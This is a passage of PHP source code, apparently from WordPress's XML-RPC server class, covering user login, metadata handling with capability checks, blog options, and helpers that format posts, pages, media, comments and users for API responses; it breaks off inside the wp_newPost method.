	 * Logs user in.
	 *
	 * @since 2.8.0
	 *
	 * @param string $username User's username.
	 * @param string $password User's password.
	 * @return WP_User|false WP_User object if authentication passed, false otherwise.
	 */
	public function login( $username, $password ) {
		if ( ! $this->is_enabled ) {
			$this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this site.' ) ) );
			return false;
		}

		if ( $this->auth_failed ) {
			$user = new WP_Error( 'login_prevented' );
		} else {
			$user = wp_authenticate( $username, $password );
		}

		if ( is_wp_error( $user ) ) {
			$this->error = new IXR_Error( 403, __( 'Incorrect username or password.' ) );

			// Flag that authentication has failed once on this wp_xmlrpc_server instance.
			$this->auth_failed = true;

			/**
			 * Filters the XML-RPC user login error message.
			 *
			 * @since 3.5.0
			 *
			 * @param IXR_Error $error The XML-RPC error message.
			 * @param WP_Error  $user  WP_Error object.
			 */
			$this->error = apply_filters( 'xmlrpc_login_error', $this->error, $user );
			return false;
		}

		wp_set_current_user( $user->ID );
		return $user;
	}

	/**
	 * Checks user's credentials. Deprecated.
	 *
	 * @since 1.5.0
	 * @deprecated 2.8.0 Use wp_xmlrpc_server::login()
	 * @see wp_xmlrpc_server::login()
	 *
	 * @param string $username User's username.
	 * @param string $password User's password.
	 * @return bool Whether authentication passed.
	 */
	public function login_pass_ok( $username, $password ) {
		return (bool) $this->login( $username, $password );
	}

	/**
	 * Escapes string or array of strings for database.
	 *
	 * @since 1.5.2
	 *
	 * @param string|array $data Escape single string or array of strings.
	 * @return string|void Returns with string is passed, alters by-reference
	 *                     when array is passed.
	 */
	public function escape( &$data ) {
		if ( ! is_array( $data ) ) {
			return wp_slash( $data );
		}

		foreach ( $data as &$v ) {
			if ( is_array( $v ) ) {
				$this->escape( $v );
			} elseif ( ! is_object( $v ) ) {
				$v = wp_slash( $v );
			}
		}
	}

	/**
	 * Sends error response to client.
	 *
	 * Sends an XML error response to the client. If the endpoint is enabled
	 * an HTTP 200 response is always sent per the XML-RPC specification.
	 *
	 * @since 5.7.3
	 *
	 * @param IXR_Error|string $error   Error code or an error object.
	 * @param false            $message Error message. Optional.
	 */
	public function error( $error, $message = false ) {
		// Accepts either an error object or an error code and message
		if ( $message && ! is_object( $error ) ) {
			$error = new IXR_Error( $error, $message );
		}

		if ( ! $this->is_enabled ) {
			status_header( $error->code );
		}

		$this->output( $error->getXml() );
	}

	/**
	 * Retrieves custom fields for post.
	 *
	 * @since 2.5.0
	 *
	 * @param int $post_id Post ID.
	 * @return array Custom fields, if exist.
	 */
	public function get_custom_fields( $post_id ) {
		$post_id = (int) $post_id;

		$custom_fields = array();

		foreach ( (array) has_meta( $post_id ) as $meta ) {
			// Don't expose protected fields.
			if ( ! current_user_can( 'edit_post_meta', $post_id, $meta['meta_key'] ) ) {
				continue;
			}

			$custom_fields[] = array(
				'id'    => $meta['meta_id'],
				'key'   => $meta['meta_key'],
				'value' => $meta['meta_value'],
			);
		}

		return $custom_fields;
	}

	/**
	 * Sets custom fields for post.
	 *
	 * @since 2.5.0
	 *
	 * @param int   $post_id Post ID.
	 * @param array $fields  Custom fields.
	 */
	public function set_custom_fields( $post_id, $fields ) {
		$post_id = (int) $post_id;

		foreach ( (array) $fields as $meta ) {
			if ( isset( $meta['id'] ) ) {
				$meta['id'] = (int) $meta['id'];
				$pmeta      = get_metadata_by_mid( 'post', $meta['id'] );

				if ( ! $pmeta || $pmeta->post_id != $post_id ) {
					continue;
				}

				if ( isset( $meta['key'] ) ) {
					$meta['key'] = wp_unslash( $meta['key'] );
					if ( $meta['key'] !== $pmeta->meta_key ) {
						continue;
					}
					$meta['value'] = wp_unslash( $meta['value'] );
					if ( current_user_can( 'edit_post_meta', $post_id, $meta['key'] ) ) {
						update_metadata_by_mid( 'post', $meta['id'], $meta['value'] );
					}
				} elseif ( current_user_can( 'delete_post_meta', $post_id, $pmeta->meta_key ) ) {
					delete_metadata_by_mid( 'post', $meta['id'] );
				}
			} elseif ( current_user_can( 'add_post_meta', $post_id, wp_unslash( $meta['key'] ) ) ) {
				add_post_meta( $post_id, $meta['key'], $meta['value'] );
			}
		}
	}

	/**
	 * Retrieves custom fields for a term.
	 *
	 * @since 4.9.0
	 *
	 * @param int $term_id Term ID.
	 * @return array Array of custom fields, if they exist.
	 */
	public function get_term_custom_fields( $term_id ) {
		$term_id = (int) $term_id;

		$custom_fields = array();

		foreach ( (array) has_term_meta( $term_id ) as $meta ) {

			if ( ! current_user_can( 'edit_term_meta', $term_id ) ) {
				continue;
			}

			$custom_fields[] = array(
				'id'    => $meta['meta_id'],
				'key'   => $meta['meta_key'],
				'value' => $meta['meta_value'],
			);
		}

		return $custom_fields;
	}

	/**
	 * Sets custom fields for a term.
	 *
	 * @since 4.9.0
	 *
	 * @param int   $term_id Term ID.
	 * @param array $fields  Custom fields.
	 */
	public function set_term_custom_fields( $term_id, $fields ) {
		$term_id = (int) $term_id;

		foreach ( (array) $fields as $meta ) {
			if ( isset( $meta['id'] ) ) {
				$meta['id'] = (int) $meta['id'];
				$pmeta      = get_metadata_by_mid( 'term', $meta['id'] );
				if ( isset( $meta['key'] ) ) {
					$meta['key'] = wp_unslash( $meta['key'] );
					if ( $meta['key'] !== $pmeta->meta_key ) {
						continue;
					}
					$meta['value'] = wp_unslash( $meta['value'] );
					if ( current_user_can( 'edit_term_meta', $term_id ) ) {
						update_metadata_by_mid( 'term', $meta['id'], $meta['value'] );
					}
				} elseif ( current_user_can( 'delete_term_meta', $term_id ) ) {
					delete_metadata_by_mid( 'term', $meta['id'] );
				}
			} elseif ( current_user_can( 'add_term_meta', $term_id ) ) {
				add_term_meta( $term_id, $meta['key'], $meta['value'] );
			}
		}
	}

	/**
	 * Sets up blog options property.
	 *
	 * Passes property through {@see 'xmlrpc_blog_options'} filter.
	 *
	 * @since 2.6.0
	 */
	public function initialise_blog_option_info() {
		$this->blog_options = array(
			// Read-only options.
			'software_name'           => array(
				'desc'     => __( 'Software Name' ),
				'readonly' => true,
				'value'    => 'WordPress',
			),
			'software_version'        => array(
				'desc'     => __( 'Software Version' ),
				'readonly' => true,
				'value'    => get_bloginfo( 'version' ),
			),
			'blog_url'                => array(
				'desc'     => __( 'WordPress Address (URL)' ),
				'readonly' => true,
				'option'   => 'siteurl',
			),
			'home_url'                => array(
				'desc'     => __( 'Site Address (URL)' ),
				'readonly' => true,
				'option'   => 'home',
			),
			'login_url'               => array(
				'desc'     => __( 'Login Address (URL)' ),
				'readonly' => true,
				'value'    => wp_login_url(),
			),
			'admin_url'               => array(
				'desc'     => __( 'The URL to the admin area' ),
				'readonly' => true,
				'value'    => get_admin_url(),
			),
			'image_default_link_type' => array(
				'desc'     => __( 'Image default link type' ),
				'readonly' => true,
				'option'   => 'image_default_link_type',
			),
			'image_default_size'      => array(
				'desc'     => __( 'Image default size' ),
				'readonly' => true,
				'option'   => 'image_default_size',
			),
			'image_default_align'     => array(
				'desc'     => __( 'Image default align' ),
				'readonly' => true,
				'option'   => 'image_default_align',
			),
			'template'                => array(
				'desc'     => __( 'Template' ),
				'readonly' => true,
				'option'   => 'template',
			),
			'stylesheet'              => array(
				'desc'     => __( 'Stylesheet' ),
				'readonly' => true,
				'option'   => 'stylesheet',
			),
			'post_thumbnail'          => array(
				'desc'     => __( 'Post Thumbnail' ),
				'readonly' => true,
				'value'    => current_theme_supports( 'post-thumbnails' ),
			),

			// Updatable options.
			'time_zone'               => array(
				'desc'     => __( 'Time Zone' ),
				'readonly' => false,
				'option'   => 'gmt_offset',
			),
			'blog_title'              => array(
				'desc'     => __( 'Site Title' ),
				'readonly' => false,
				'option'   => 'blogname',
			),
			'blog_tagline'            => array(
				'desc'     => __( 'Site Tagline' ),
				'readonly' => false,
				'option'   => 'blogdescription',
			),
			'date_format'             => array(
				'desc'     => __( 'Date Format' ),
				'readonly' => false,
				'option'   => 'date_format',
			),
			'time_format'             => array(
				'desc'     => __( 'Time Format' ),
				'readonly' => false,
				'option'   => 'time_format',
			),
			'users_can_register'      => array(
				'desc'     => __( 'Allow new users to sign up' ),
				'readonly' => false,
				'option'   => 'users_can_register',
			),
			'thumbnail_size_w'        => array(
				'desc'     => __( 'Thumbnail Width' ),
				'readonly' => false,
				'option'   => 'thumbnail_size_w',
			),
			'thumbnail_size_h'        => array(
				'desc'     => __( 'Thumbnail Height' ),
				'readonly' => false,
				'option'   => 'thumbnail_size_h',
			),
			'thumbnail_crop'          => array(
				'desc'     => __( 'Crop thumbnail to exact dimensions' ),
				'readonly' => false,
				'option'   => 'thumbnail_crop',
			),
			'medium_size_w'           => array(
				'desc'     => __( 'Medium size image width' ),
				'readonly' => false,
				'option'   => 'medium_size_w',
			),
			'medium_size_h'           => array(
				'desc'     => __( 'Medium size image height' ),
				'readonly' => false,
				'option'   => 'medium_size_h',
			),
			'medium_large_size_w'     => array(
				'desc'     => __( 'Medium-Large size image width' ),
				'readonly' => false,
				'option'   => 'medium_large_size_w',
			),
			'medium_large_size_h'     => array(
				'desc'     => __( 'Medium-Large size image height' ),
				'readonly' => false,
				'option'   => 'medium_large_size_h',
			),
			'large_size_w'            => array(
				'desc'     => __( 'Large size image width' ),
				'readonly' => false,
				'option'   => 'large_size_w',
			),
			'large_size_h'            => array(
				'desc'     => __( 'Large size image height' ),
				'readonly' => false,
				'option'   => 'large_size_h',
			),
			'default_comment_status'  => array(
				'desc'     => __( 'Allow people to submit comments on new posts.' ),
				'readonly' => false,
				'option'   => 'default_comment_status',
			),
			'default_ping_status'     => array(
				'desc'     => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new posts.' ),
				'readonly' => false,
				'option'   => 'default_ping_status',
			),
		);

		/**
		 * Filters the XML-RPC blog options property.
		 *
		 * @since 2.6.0
		 *
		 * @param array $blog_options An array of XML-RPC blog options.
		 */
		$this->blog_options = apply_filters( 'xmlrpc_blog_options', $this->blog_options );
	}

	/**
	 * Retrieves the blogs of the user.
	 *
	 * @since 2.6.0
	 *
	 * @param array $args {
	 *     Method arguments. Note: arguments must be ordered as documented.
	 *
	 *     @type string $0 Username.
	 *     @type string $1 Password.
	 * }
	 * @return array|IXR_Error Array contains:
	 *  - 'isAdmin'
	 *  - 'isPrimary' - whether the blog is the user's primary blog
	 *  - 'url'
	 *  - 'blogid'
	 *  - 'blogName'
	 *  - 'xmlrpc' - url of xmlrpc endpoint
	 */
	public function wp_getUsersBlogs( $args ) {
		if ( ! $this->minimum_args( $args, 2 ) ) {
			return $this->error;
		}

		// If this isn't on WPMU then just use blogger_getUsersBlogs().
		if ( ! is_multisite() ) {
			array_unshift( $args, 1 );
			return $this->blogger_getUsersBlogs( $args );
		}

		$this->escape( $args );

		$username = $args[0];
		$password = $args[1];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		/**
		 * Fires after the XML-RPC user has been authenticated but before the rest of
		 * the method logic begins.
		 *
		 * All built-in XML-RPC methods use the action xmlrpc_call, with a parameter
		 * equal to the method's name, e.g., wp.getUsersBlogs, wp.newPost, etc.
		 *
		 * @since 2.5.0
		 * @since 5.7.0 Added the `$args` and `$server` parameters.
		 *
		 * @param string           $name   The method name.
		 * @param array|string     $args   The escaped arguments passed to the method.
		 * @param wp_xmlrpc_server $server The XML-RPC server instance.
		 */
		do_action( 'xmlrpc_call', 'wp.getUsersBlogs', $args, $this );

		$blogs           = (array) get_blogs_of_user( $user->ID );
		$struct          = array();
		$primary_blog_id = 0;
		$active_blog     = get_active_blog_for_user( $user->ID );
		if ( $active_blog ) {
			$primary_blog_id = (int) $active_blog->blog_id;
		}

		foreach ( $blogs as $blog ) {
			// Don't include blogs that aren't hosted at this site.
			if ( get_current_network_id() != $blog->site_id ) {
				continue;
			}

			$blog_id = $blog->userblog_id;

			switch_to_blog( $blog_id );

			$is_admin   = current_user_can( 'manage_options' );
			$is_primary = ( (int) $blog_id === $primary_blog_id );

			$struct[] = array(
				'isAdmin'   => $is_admin,
				'isPrimary' => $is_primary,
				'url'       => home_url( '/' ),
				'blogid'    => (string) $blog_id,
				'blogName'  => get_option( 'blogname' ),
				'xmlrpc'    => site_url( 'xmlrpc.php', 'rpc' ),
			);

			restore_current_blog();
		}

		return $struct;
	}

	/**
	 * Checks if the method received at least the minimum number of arguments.
	 *
	 * @since 3.4.0
	 *
	 * @param array $args  An array of arguments to check.
	 * @param int   $count Minimum number of arguments.
	 * @return bool True if `$args` contains at least `$count` arguments, false otherwise.
	 */
	protected function minimum_args( $args, $count ) {
		if ( ! is_array( $args ) || count( $args ) < $count ) {
			$this->error = new IXR_Error( 400, __( 'Insufficient arguments passed to this XML-RPC method.' ) );
			return false;
		}

		return true;
	}

	/**
	 * Prepares taxonomy data for return in an XML-RPC object.
	 *
	 * @param WP_Taxonomy $taxonomy The unprepared taxonomy data.
	 * @param array       $fields   The subset of taxonomy fields to return.
	 * @return array The prepared taxonomy data.
	 */
	protected function _prepare_taxonomy( $taxonomy, $fields ) {
		$_taxonomy = array(
			'name'         => $taxonomy->name,
			'label'        => $taxonomy->label,
			'hierarchical' => (bool) $taxonomy->hierarchical,
			'public'       => (bool) $taxonomy->public,
			'show_ui'      => (bool) $taxonomy->show_ui,
			'_builtin'     => (bool) $taxonomy->_builtin,
		);

		if ( in_array( 'labels', $fields, true ) ) {
			$_taxonomy['labels'] = (array) $taxonomy->labels;
		}

		if ( in_array( 'cap', $fields, true ) ) {
			$_taxonomy['cap'] = (array) $taxonomy->cap;
		}

		if ( in_array( 'menu', $fields, true ) ) {
			$_taxonomy['show_in_menu'] = (bool) $taxonomy->show_in_menu;
		}

		if ( in_array( 'object_type', $fields, true ) ) {
			$_taxonomy['object_type'] = array_unique( (array) $taxonomy->object_type );
		}

		/**
		 * Filters XML-RPC-prepared data for the given taxonomy.
		 *
		 * @since 3.4.0
		 *
		 * @param array       $_taxonomy An array of taxonomy data.
		 * @param WP_Taxonomy $taxonomy  Taxonomy object.
		 * @param array       $fields    The subset of taxonomy fields to return.
		 */
		return apply_filters( 'xmlrpc_prepare_taxonomy', $_taxonomy, $taxonomy, $fields );
	}

	/**
	 * Prepares term data for return in an XML-RPC object.
	 *
	 * @param array|object $term The unprepared term data.
	 * @return array The prepared term data.
	 */
	protected function _prepare_term( $term ) {
		$_term = $term;
		if ( ! is_array( $_term ) ) {
			$_term = get_object_vars( $_term );
		}

		// For integers which may be larger than XML-RPC supports ensure we return strings.
		$_term['term_id']          = (string) $_term['term_id'];
		$_term['term_group']       = (string) $_term['term_group'];
		$_term['term_taxonomy_id'] = (string) $_term['term_taxonomy_id'];
		$_term['parent']           = (string) $_term['parent'];

		// Count we are happy to return as an integer because people really shouldn't use terms that much.
		$_term['count'] = (int) $_term['count'];

		// Get term meta.
		$_term['custom_fields'] = $this->get_term_custom_fields( $_term['term_id'] );

		/**
		 * Filters XML-RPC-prepared data for the given term.
		 *
		 * @since 3.4.0
		 *
		 * @param array        $_term An array of term data.
		 * @param array|object $term  Term object or array.
		 */
		return apply_filters( 'xmlrpc_prepare_term', $_term, $term );
	}

	/**
	 * Converts a WordPress date string to an IXR_Date object.
	 *
	 * @param string $date Date string to convert.
	 * @return IXR_Date IXR_Date object.
	 */
	protected function _convert_date( $date ) {
		if ( '0000-00-00 00:00:00' === $date ) {
			return new IXR_Date( '00000000T00:00:00Z' );
		}
		return new IXR_Date( mysql2date( 'Ymd\TH:i:s', $date, false ) );
	}

	/**
	 * Converts a WordPress GMT date string to an IXR_Date object.
	 *
	 * @param string $date_gmt WordPress GMT date string.
	 * @param string $date     Date string.
	 * @return IXR_Date IXR_Date object.
	 */
	protected function _convert_date_gmt( $date_gmt, $date ) {
		if ( '0000-00-00 00:00:00' !== $date && '0000-00-00 00:00:00' === $date_gmt ) {
			return new IXR_Date( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $date, false ), 'Ymd\TH:i:s' ) );
		}
		return $this->_convert_date( $date_gmt );
	}

	/**
	 * Prepares post data for return in an XML-RPC object.
	 *
	 * @param array $post   The unprepared post data.
	 * @param array $fields The subset of post type fields to return.
	 * @return array The prepared post data.
	 */
	protected function _prepare_post( $post, $fields ) {
		// Holds the data for this post. built up based on $fields.
		$_post = array( 'post_id' => (string) $post['ID'] );

		// Prepare common post fields.
		$post_fields = array(
			'post_title'        => $post['post_title'],
			'post_date'         => $this->_convert_date( $post['post_date'] ),
			'post_date_gmt'     => $this->_convert_date_gmt( $post['post_date_gmt'], $post['post_date'] ),
			'post_modified'     => $this->_convert_date( $post['post_modified'] ),
			'post_modified_gmt' => $this->_convert_date_gmt( $post['post_modified_gmt'], $post['post_modified'] ),
			'post_status'       => $post['post_status'],
			'post_type'         => $post['post_type'],
			'post_name'         => $post['post_name'],
			'post_author'       => $post['post_author'],
			'post_password'     => $post['post_password'],
			'post_excerpt'      => $post['post_excerpt'],
			'post_content'      => $post['post_content'],
			'post_parent'       => (string) $post['post_parent'],
			'post_mime_type'    => $post['post_mime_type'],
			'link'              => get_permalink( $post['ID'] ),
			'guid'              => $post['guid'],
			'menu_order'        => (int) $post['menu_order'],
			'comment_status'    => $post['comment_status'],
			'ping_status'       => $post['ping_status'],
			'sticky'            => ( 'post' === $post['post_type'] && is_sticky( $post['ID'] ) ),
		);

		// Thumbnail.
		$post_fields['post_thumbnail'] = array();
		$thumbnail_id                  = get_post_thumbnail_id( $post['ID'] );
		if ( $thumbnail_id ) {
			$thumbnail_size                = current_theme_supports( 'post-thumbnail' ) ? 'post-thumbnail' : 'thumbnail';
			$post_fields['post_thumbnail'] = $this->_prepare_media_item( get_post( $thumbnail_id ), $thumbnail_size );
		}

		// Consider future posts as published.
		if ( 'future' === $post_fields['post_status'] ) {
			$post_fields['post_status'] = 'publish';
		}

		// Fill in blank post format.
		$post_fields['post_format'] = get_post_format( $post['ID'] );
		if ( empty( $post_fields['post_format'] ) ) {
			$post_fields['post_format'] = 'standard';
		}

		// Merge requested $post_fields fields into $_post.
		if ( in_array( 'post', $fields, true ) ) {
			$_post = array_merge( $_post, $post_fields );
		} else {
			$requested_fields = array_intersect_key( $post_fields, array_flip( $fields ) );
			$_post            = array_merge( $_post, $requested_fields );
		}

		$all_taxonomy_fields = in_array( 'taxonomies', $fields, true );

		if ( $all_taxonomy_fields || in_array( 'terms', $fields, true ) ) {
			$post_type_taxonomies = get_object_taxonomies( $post['post_type'], 'names' );
			$terms                = wp_get_object_terms( $post['ID'], $post_type_taxonomies );
			$_post['terms']       = array();
			foreach ( $terms as $term ) {
				$_post['terms'][] = $this->_prepare_term( $term );
			}
		}

		if ( in_array( 'custom_fields', $fields, true ) ) {
			$_post['custom_fields'] = $this->get_custom_fields( $post['ID'] );
		}

		if ( in_array( 'enclosure', $fields, true ) ) {
			$_post['enclosure'] = array();
			$enclosures         = (array) get_post_meta( $post['ID'], 'enclosure' );
			if ( ! empty( $enclosures ) ) {
				$encdata                      = explode( "\n", $enclosures[0] );
				$_post['enclosure']['url']    = trim( htmlspecialchars( $encdata[0] ) );
				$_post['enclosure']['length'] = (int) trim( $encdata[1] );
				$_post['enclosure']['type']   = trim( $encdata[2] );
			}
		}

		/**
		 * Filters XML-RPC-prepared date for the given post.
		 *
		 * @since 3.4.0
		 *
		 * @param array $_post  An array of modified post data.
		 * @param array $post   An array of post data.
		 * @param array $fields An array of post fields.
		 */
		return apply_filters( 'xmlrpc_prepare_post', $_post, $post, $fields );
	}

	/**
	 * Prepares post data for return in an XML-RPC object.
	 *
	 * @since 3.4.0
	 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
	 *
	 * @param WP_Post_Type $post_type Post type object.
	 * @param array        $fields    The subset of post fields to return.
	 * @return array The prepared post type data.
	 */
	protected function _prepare_post_type( $post_type, $fields ) {
		$_post_type = array(
			'name'         => $post_type->name,
			'label'        => $post_type->label,
			'hierarchical' => (bool) $post_type->hierarchical,
			'public'       => (bool) $post_type->public,
			'show_ui'      => (bool) $post_type->show_ui,
			'_builtin'     => (bool) $post_type->_builtin,
			'has_archive'  => (bool) $post_type->has_archive,
			'supports'     => get_all_post_type_supports( $post_type->name ),
		);

		if ( in_array( 'labels', $fields, true ) ) {
			$_post_type['labels'] = (array) $post_type->labels;
		}

		if ( in_array( 'cap', $fields, true ) ) {
			$_post_type['cap']          = (array) $post_type->cap;
			$_post_type['map_meta_cap'] = (bool) $post_type->map_meta_cap;
		}

		if ( in_array( 'menu', $fields, true ) ) {
			$_post_type['menu_position'] = (int) $post_type->menu_position;
			$_post_type['menu_icon']     = $post_type->menu_icon;
			$_post_type['show_in_menu']  = (bool) $post_type->show_in_menu;
		}

		if ( in_array( 'taxonomies', $fields, true ) ) {
			$_post_type['taxonomies'] = get_object_taxonomies( $post_type->name, 'names' );
		}

		/**
		 * Filters XML-RPC-prepared date for the given post type.
		 *
		 * @since 3.4.0
		 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
		 *
		 * @param array        $_post_type An array of post type data.
		 * @param WP_Post_Type $post_type  Post type object.
		 */
		return apply_filters( 'xmlrpc_prepare_post_type', $_post_type, $post_type );
	}

	/**
	 * Prepares media item data for return in an XML-RPC object.
	 *
	 * @param WP_Post $media_item     The unprepared media item data.
	 * @param string  $thumbnail_size The image size to use for the thumbnail URL.
	 * @return array The prepared media item data.
	 */
	protected function _prepare_media_item( $media_item, $thumbnail_size = 'thumbnail' ) {
		$_media_item = array(
			'attachment_id'    => (string) $media_item->ID,
			'date_created_gmt' => $this->_convert_date_gmt( $media_item->post_date_gmt, $media_item->post_date ),
			'parent'           => $media_item->post_parent,
			'link'             => wp_get_attachment_url( $media_item->ID ),
			'title'            => $media_item->post_title,
			'caption'          => $media_item->post_excerpt,
			'description'      => $media_item->post_content,
			'metadata'         => wp_get_attachment_metadata( $media_item->ID ),
			'type'             => $media_item->post_mime_type,
			'alt'              => get_post_meta( $media_item->ID, '_wp_attachment_image_alt', true ),
		);

		$thumbnail_src = image_downsize( $media_item->ID, $thumbnail_size );
		if ( $thumbnail_src ) {
			$_media_item['thumbnail'] = $thumbnail_src[0];
		} else {
			$_media_item['thumbnail'] = $_media_item['link'];
		}

		/**
		 * Filters XML-RPC-prepared data for the given media item.
		 *
		 * @since 3.4.0
		 *
		 * @param array   $_media_item    An array of media item data.
		 * @param WP_Post $media_item     Media item object.
		 * @param string  $thumbnail_size Image size.
		 */
		return apply_filters( 'xmlrpc_prepare_media_item', $_media_item, $media_item, $thumbnail_size );
	}

	/**
	 * Prepares page data for return in an XML-RPC object.
	 *
	 * @param WP_Post $page The unprepared page data.
	 * @return array The prepared page data.
	 */
	protected function _prepare_page( $page ) {
		// Get all of the page content and link.
		$full_page = get_extended( $page->post_content );
		$link      = get_permalink( $page->ID );

		// Get info the page parent if there is one.
		$parent_title = '';
		if ( ! empty( $page->post_parent ) ) {
			$parent       = get_post( $page->post_parent );
			$parent_title = $parent->post_title;
		}

		// Determine comment and ping settings.
		$allow_comments = comments_open( $page->ID ) ? 1 : 0;
		$allow_pings    = pings_open( $page->ID ) ? 1 : 0;

		// Format page date.
		$page_date     = $this->_convert_date( $page->post_date );
		$page_date_gmt = $this->_convert_date_gmt( $page->post_date_gmt, $page->post_date );

		// Pull the categories info together.
		$categories = array();
		if ( is_object_in_taxonomy( 'page', 'category' ) ) {
			foreach ( wp_get_post_categories( $page->ID ) as $cat_id ) {
				$categories[] = get_cat_name( $cat_id );
			}
		}

		// Get the author info.
		$author = get_userdata( $page->post_author );

		$page_template = get_page_template_slug( $page->ID );
		if ( empty( $page_template ) ) {
			$page_template = 'default';
		}

		$_page = array(
			'dateCreated'            => $page_date,
			'userid'                 => $page->post_author,
			'page_id'                => $page->ID,
			'page_status'            => $page->post_status,
			'description'            => $full_page['main'],
			'title'                  => $page->post_title,
			'link'                   => $link,
			'permaLink'              => $link,
			'categories'             => $categories,
			'excerpt'                => $page->post_excerpt,
			'text_more'              => $full_page['extended'],
			'mt_allow_comments'      => $allow_comments,
			'mt_allow_pings'         => $allow_pings,
			'wp_slug'                => $page->post_name,
			'wp_password'            => $page->post_password,
			'wp_author'              => $author->display_name,
			'wp_page_parent_id'      => $page->post_parent,
			'wp_page_parent_title'   => $parent_title,
			'wp_page_order'          => $page->menu_order,
			'wp_author_id'           => (string) $author->ID,
			'wp_author_display_name' => $author->display_name,
			'date_created_gmt'       => $page_date_gmt,
			'custom_fields'          => $this->get_custom_fields( $page->ID ),
			'wp_page_template'       => $page_template,
		);

		/**
		 * Filters XML-RPC-prepared data for the given page.
		 *
		 * @since 3.4.0
		 *
		 * @param array   $_page An array of page data.
		 * @param WP_Post $page  Page object.
		 */
		return apply_filters( 'xmlrpc_prepare_page', $_page, $page );
	}

	/**
	 * Prepares comment data for return in an XML-RPC object.
	 *
	 * @param WP_Comment $comment The unprepared comment data.
	 * @return array The prepared comment data.
	 */
	protected function _prepare_comment( $comment ) {
		// Format page date.
		$comment_date_gmt = $this->_convert_date_gmt( $comment->comment_date_gmt, $comment->comment_date );

		if ( '0' == $comment->comment_approved ) {
			$comment_status = 'hold';
		} elseif ( 'spam' === $comment->comment_approved ) {
			$comment_status = 'spam';
		} elseif ( '1' == $comment->comment_approved ) {
			$comment_status = 'approve';
		} else {
			$comment_status = $comment->comment_approved;
		}
		$_comment = array(
			'date_created_gmt' => $comment_date_gmt,
			'user_id'          => $comment->user_id,
			'comment_id'       => $comment->comment_ID,
			'parent'           => $comment->comment_parent,
			'status'           => $comment_status,
			'content'          => $comment->comment_content,
			'link'             => get_comment_link( $comment ),
			'post_id'          => $comment->comment_post_ID,
			'post_title'       => get_the_title( $comment->comment_post_ID ),
			'author'           => $comment->comment_author,
			'author_url'       => $comment->comment_author_url,
			'author_email'     => $comment->comment_author_email,
			'author_ip'        => $comment->comment_author_IP,
			'type'             => $comment->comment_type,
		);

		/**
		 * Filters XML-RPC-prepared data for the given comment.
		 *
		 * @since 3.4.0
		 *
		 * @param array      $_comment An array of prepared comment data.
		 * @param WP_Comment $comment  Comment object.
		 */
		return apply_filters( 'xmlrpc_prepare_comment', $_comment, $comment );
	}

	/**
	 * Prepares user data for return in an XML-RPC object.
	 *
	 * @param WP_User $user   The unprepared user object.
	 * @param array   $fields The subset of user fields to return.
	 * @return array The prepared user data.
	 */
	protected function _prepare_user( $user, $fields ) {
		$_user = array( 'user_id' => (string) $user->ID );

		$user_fields = array(
			'username'     => $user->user_login,
			'first_name'   => $user->user_firstname,
			'last_name'    => $user->user_lastname,
			'registered'   => $this->_convert_date( $user->user_registered ),
			'bio'          => $user->user_description,
			'email'        => $user->user_email,
			'nickname'     => $user->nickname,
			'nicename'     => $user->user_nicename,
			'url'          => $user->user_url,
			'display_name' => $user->display_name,
			'roles'        => $user->roles,
		);

		if ( in_array( 'all', $fields, true ) ) {
			$_user = array_merge( $_user, $user_fields );
		} else {
			if ( in_array( 'basic', $fields, true ) ) {
				$basic_fields = array( 'username', 'email', 'registered', 'display_name', 'nicename' );
				$fields       = array_merge( $fields, $basic_fields );
			}
			$requested_fields = array_intersect_key( $user_fields, array_flip( $fields ) );
			$_user            = array_merge( $_user, $requested_fields );
		}

		/**
		 * Filters XML-RPC-prepared data for the given user.
		 *
		 * @since 3.5.0
		 *
		 * @param array   $_user  An array of user data.
		 * @param WP_User $user   User object.
		 * @param array   $fields An array of user fields.
		 */
		return apply_filters( 'xmlrpc_prepare_user', $_user, $user, $fields );
	}

	/**
	 * Creates a new post for any registered post type.
	 *
	 * @since 3.4.0
	 *
	 * @link https://en.wikipedia.org/wiki/RSS_enclosure for information on RSS enclosures.
	 *
	 * @param array $args {
	 *     Method arguments. Note: top-level arguments must be ordered as documented.
	 *
	 *     @type int    $0 Blog ID (unused).
	 *     @type string $1 Username.
	 *     @type string $2 Password.
	 *     @type array  $3 {
	 *         Content struct for adding a new post. See wp_insert_post() for information on
	 *         additional post fields
	 *
	 *         @type string $post_type      Post type. Default 'post'.
	 *         @type string $post_status    Post status. Default 'draft'
	 *         @type string $post_title     Post title.
	 *         @type int    $post_author    Post author ID.
	 *         @type string $post_excerpt   Post excerpt.
	 *         @type string $post_content   Post content.
	 *         @type string $post_date_gmt  Post date in GMT.
	 *         @type string $post_date      Post date.
	 *         @type string $post_password  Post password (20-character limit).
	 *         @type string $comment_status Post comment enabled status. Accepts 'open' or 'closed'.
	 *         @type string $ping_status    Post ping status. Accepts 'open' or 'closed'.
	 *         @type bool   $sticky         Whether the post should be sticky. Automatically false if
	 *                                      `$post_status` is 'private'.
	 *         @type int    $post_thumbnail ID of an image to use as the post thumbnail/featured image.
	 *         @type array  $custom_fields  Array of meta key/value pairs to add to the post.
	 *         @type array  $terms          Associative array with taxonomy names as keys and arrays
	 *                                      of term IDs as values.
	 *         @type array  $terms_names    Associative array with taxonomy names as keys and arrays
	 *                                      of term names as values.
	 *         @type array  $enclosure      {
	 *             Array of feed enclosure data to add to post meta.
	 *
	 *             @type string $url    URL for the feed enclosure.
	 *             @type int    $length Size in bytes of the enclosure.
	 *             @type string $type   Mime-type for the enclosure.
	 *         }
	 *     }
	 * }
	 * @return int|IXR_Error Post ID on success, IXR_Error instance otherwise.
	 */
	public function wp_newPost( $args ) {
		if ( ! $this->minimum_args( $args, 4 ) ) {
			return $this->error;
		}

		$this->escape( $args );

		$username       = $args[1];
		$password       = $args[2];
		$content_struct = $args[3];

		$user = $this->login( $username, $password );
		if ( ! $user ) {
			return $this->error;
		}

		// Convert the date field back to IXR form.
		if ( isset( $content_struct['post_date'] ) && ! ( $content_struct['post_date'] instanceof IXR_Date ) ) {
			$content_struct['post_date'] = $this->_convert_date( $content_struct['post_date'] );
		}

		/*
		 * Ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct,
		 * since _insert_post() will ignore the non-GMT date if the GMT date is set.
		 */
